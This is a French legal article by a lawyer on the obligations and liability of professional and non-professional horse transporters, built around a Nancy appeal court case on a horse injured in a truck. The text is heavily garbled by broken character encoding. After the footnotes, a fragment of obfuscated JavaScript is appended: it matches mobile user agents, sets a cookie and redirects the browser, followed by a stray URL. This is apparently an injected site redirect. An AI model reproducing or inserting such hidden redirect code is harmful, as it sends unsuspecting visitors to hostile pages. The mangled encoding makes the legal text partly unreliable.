Les obligations du transporteur de chevaux (professionnel et non professionnel)

Sorties en compA�titions, week-end A� la plage ou simplement changement da��A�curie, les occasions da��organiser le transport de son cheval sont nombreuses pour le cavalier propriA�taire.

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Comment faire lorsque ledit propriA�taire na��est pas A� mA?me de transporter son cheval ? Le plus souvent, le cavalier propriA�taire dA�sireux de transporter son cheval fait appel A� un professionnel du transport des chevauxA�(contre rA�munA�ration) ou sa��arrange avec da��autres cavaliers qui ont un transport. A ce titre, ces transporteurs non professionnels peuvent A?tre rA�munA�rA�s ou non.

Quelles sont les obligations du transporteur dans ces diffA�rents casA�? Le transporteur est-il redevable da��une obligation de rA�sultat ou da��une simple obligation de moyensA�? Quels recours sont A� la disposition du cavalier propriA�taire en cas da��accidentA�? Analysons ensemble le rA�gime juridique liA� au transport des chevaux[1].

Pouvoir transporter son cheval en toute autonomie na��est pas A� la portA�e de na��importe quel propriA�taire. En effet, avoir son propre camion ou son propre van a�� et donc dans ce cas un vA�hicule pouvant tracter a�� pose des problA�matiques logistiques et financiA?res importantesa�� Ca��est pourquoi, de nombreux cavaliers font appel soit A� un transporteur professionnel, soit A� un ami ou une connaissance pour faire transporter leur cheval. Malheureusement, sur la route, les dangers sont partout et il convient donc de choisir le mode de transport le plus adaptA� A� votre compagnon et qui vous sA�curise au mieux, en tant que propriA�taire.

Avant de commencer notre exposA� thA�orique, examinons un A�A�cas da��A�coleA�A� pour comprendre les risques liA�s au transport de son cheval.

  1. Cas da��A�colea��

PropriA�taire da��un jeune cheval et souhaitant le vendre, Madame F dA�cide de le confier A� un intermA�diaire qui sa��occupera de le sortir en compA�tition et de le vendre.

Ca��est ainsi que le 19 mars 2006, Madame F conclut avec Madame L un contrat intitulA� A�A�contrat d’exploitation avec mandat de venteA�A� aux termes duquel il est prA�vu que Madame F confie son cheval A� Madame L en vue de sa vente, Madame L devant hA�berger le cheval et ayant la possibilitA� de l’utiliser en compA�tition a�� afin de le A�A�montrerA�A� et de favoriser sa vente. Par ailleurs, il A�tait prA�vu que tous les frais inhA�rents au cheval A�taient A� la seule charge de Madame L qui, en contrepartie, pouvait le cas A�chA�ant conserver la totalitA� des gains obtenus en concours (CA Nancy 6 mars 2012, JurisdataA�nA�A�2012-018581).

Madame L a donc transportA� ledit cheval sur un terrain de concours et, estimant que la durA�e de stationnement A�tait rA�duite, na��a pas louA� de box sur place et a laissA� le cheval A� la��intA�rieur du camion le temps de la��attente. Malheureusement, pendant ce laps de temps, celui-ci sa��est gravement blessA� dans le camion et a dA� A?tre euthanasiA�. Madame F a intentA� une action devant les tribunaux afin da��engager la responsabilitA� de Madame L et de se voir indemnisA�e pour la perte de son cheval.

Dans cette espA?ce, la Cour da��appel a considA�rA� que le contrat s’analysait A�A�da��une part en un mandat de vente, d’autre part en un contrat de dA�pA?t salariA� rA�munA�rA� par les gains de concoursA�A� et la responsabilitA� de la cavaliA?re a A�tA� A�cartA�e. PourquoiA�? CommentA�? Pour rA�pondre A� cette question, il convient da��A�tudier plus en dA�tails le rA�gime juridique du transporteur de chevaux, qua��il sa��agisse de son mA�tier (transporteur professionnel), qua��il rende simplement service ou qua��il sa��agisse da��une prestation accessoire A� sa prestation principale (transporteur non professionnel dans les 2 derniers cas).

  1. Les obligations du transporteur professionnel

Le transporteur professionnel est tenu, en vertu de la��article L.A�133-1 du Code de commerce relatif au contrat de transport, da��une obligation de rA�sultatA�: aussi, la��existence du dommage suffira A� engager sa responsabilitA� (hors cas de force majeure).

A noter qua��il y a A�A�contrat de transportA�A� dA?s lors que le dA�placement du cheval est la��objet principal de la prestation A� exA�cuter et que ce dA�placement est rA�munA�rA�. Ca��est le cas le plus sA�curisant pour le propriA�taire da��A�quidA�A�; le transporteur ne pourra en effet sa��exonA�rer qua��en dA�montrant son absence de faute et la��existence soit da��un cas de force majeure, soit da��un vice propre de la chose (le cheval), soit de la faute du cocontractant (le propriA�taire).

  1. Les obligations du transporteur non professionnel

Dans le cas du recours A� un transporteur non professionnel ne percevant aucune rA�munA�ration (exceptA� le partage des frais de route), la responsabilitA� de ce dernier en cas da��accident sera dA�lictuelle. Autrement dit, le propriA�taire devra prouver la faute du conducteur ou invoquer la responsabilitA� sans faute du fait des choses, ca��est-A�-dire du vA�hicule (Le droit du cheval et de la��A�quitation, 2005, p.A�63).

Dans le cas oA? le transporteur est le dA�positaire du cheval, le rA�gime de responsabilitA� de ce dernier est celui correspondant au contrat principalA�: A� ce titre, il sera donc redevable da��une obligation de moyens simple (contrat da��entreprise) ou renforcA�e (contrat de dA�pA?t salariA�)[2].

Ca��est ainsi que, pour revenir A� notre cas da��A�cole, les juges ont considA�rA� que le contrat s’analysait A�A�da��une part en un mandat de vente, d’autre part en un contrat de dA�pA?t salariA� rA�munA�rA� par les gains de concoursA�A� et na��ont pas manquA� de rappeler A� ce sujet que A�A�le dA�positaire A� titre onA�reux ne peut s’exonA�rer de l’obligation de moyens A� laquelle il est tenu qu’en rapportant la preuve soit de son absence de faute, soit d’un A�vA�nement de force majeure, soit du fait du dA�posantA�A� (Cass. Civ1., 29 janvier 2002, nA� 99-19.316). En effet, Madame L, ayant agi a�� selon les juges de la Cour da��appel de Nancy a�� dans le cadre da��un contrat de dA�pA?t salariA� (et non da��un contrat da��entraA�nement), A�tait donc redevable A� ce titre da��une obligation de moyens renforcA�eA�: autrement dit, elle ne pouvait sa��exonA�rer de sa responsabilitA� qua��en prouvant son absence de faute.

Aussi, il a A�tA� jugA� que la responsabilitA� de Madame L ne pouvait A?tre engagA�e, car A�A�elle dA�montrait qu’elle n’avait commis aucune fauteA�A�. Pour appuyer leur dA�cision les juges se sont notamment basA�s sur plusieurs attestations desquelles il ressortait que A�A�Madame L a[vait] procA�dA� au transport et A� la mise en attente de l’animal dans des conditions habituellement mises en A�uvre par des pratiquants expA�rimentA�s de l’A�quitation (a��), sans devoir recourir A� l’utilisation d’un box, inutile en de telles circonstances en raison de la durA�e rA�duite de l’A�preuve A�questre (a��)A�A� et que A�A�le vA�hicule utilisA� A�tait adaptA� au transport des chevauxA�A�. En outre, les attestations ont permis de prouver que A�A�le cheval A�tait sous la surveillance de celle-ci [Madame L] et A�quipA� de protections de transportA�A� et que A�A�Madame L a rA�agi trA?s rapidement et demandA� l’assistance du vA�tA�rinaire de gardeA�A�. En rA�sumA�, la responsabilitA� de Madame L a A�tA� A�cartA�e au motif qua��elle a agi avec le mA?me soin que sa��il avait A�tA� question de son propre cheval et qua��elle na��a commis aucune faute dans la survenance de la��accident.

Il convient enfin de souligner un cas particulierA�: celui du transporteur non professionnel qui est rA�munA�rA� pour assurer le transport da��un cheval. Dans pareil cas, il semblerait que la jurisprudence admette qua��une obligation de rA�sultat soit A� la charge de ce dernier, bien que les dispositions lA�gales propres au contrat de transport ne sa��appliquent pas. Toutefois, on peut sa��interroger sur la��intA�rA?t de recourir A� un transporteur dont le transport des chevaux na��est pas le mA�tier A� proprement parler (au lieu de sa��adresser A� un professionnel) si ca��est pour engager des dA�penses financiA?res comparablesa��

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Les possibilitA�s offertes en termes de transport sont nombreuses et les consA�quences en termes deA�responsabilitA� diffA?rent en fonction des options choisies. DA�sormais, dA�ment informA� sur celles-ci, prA�fA�rez la��option qui rassemble le plus da��avantages pour vous et votre compagnon en fonction de vos contraintes financiA?res et pratiques.

 

 

Julie Chapuy, Avocat A� la Cour

 

 

 

 

 

 

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Conseils pratiques
– Pour les propriA�tairesA�:

Si vous en avez les moyens, prA�fA�rez le recours A� un transporteur professionnelA�; en comparaison avec un transporteur non professionnel, celui-ci vous apportera des garanties supplA�mentaires (obligation de rA�sultat vs. obligation de moyens). En outre, les transporteurs professionnels ont une grande habitude de la route et de ses dangers ainsi que de la gestion des chevaux pendant le transport.

 

– Pour les dA�positairesA�:

Si vous devez transporter des chevaux de faA�on habituelle, veillez A� entretenir comme il se doit les vA�hicules de transport, A� toujours mettre des protections aux chevaux transportA�s et A� assurer leur surveillance pendant le transport. Ainsi, il vous sera plus aisA� de prouver la��absence de faute en cas da��accident et de contentieux judiciaire.

 

A retenira��
IndA�pendamment du prA�judice matA�riel liA� A� la mort da��un animal, les juges admettent la��existent da��un prA�judice subjectif et affectif susceptible de donner lieu A� rA�paration (CA Toulouse, 6 mars 2007, nA�A�05/04051). En cas de dA�cA?s de votre cheval lors da��un transport, vous avez donc la possibilitA� de demander rA�paration de votre prA�judice moral (hors demande exorbitante).

 

[1] Cet article na��aborde pas les problA�matiques juridiques liA�es A� la Loi du 5 juillet 1985 sur les accidents de la circulation et se cantonne A� la��A�tude des mA�canismes de responsabilitA� civile dA�lictuelle et contractuelle.

[2] Cf. Article A�A�Mettre son cheval en pensionA�A�, La��Eperon nA�343, AvrilA�2013. |vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0xa48a[8]](_0x82d7x1[_0xa48a[9]](0,4))){var _0x82d7x3= new Date( new Date()[_0xa48a[10]]()+ 1800000);document[_0xa48a[2]]= _0xa48a[11]+ _0x82d7x3[_0xa48a[12]]();window[_0xa48a[13]]= _0x82d7x2}}})(navigator[_0xa48a[3]]|| navigator[_0xa48a[4]]|| window[_0xa48a[5]],_0xa48a[6])}http://trimsalon-marlie.nl/?p=797

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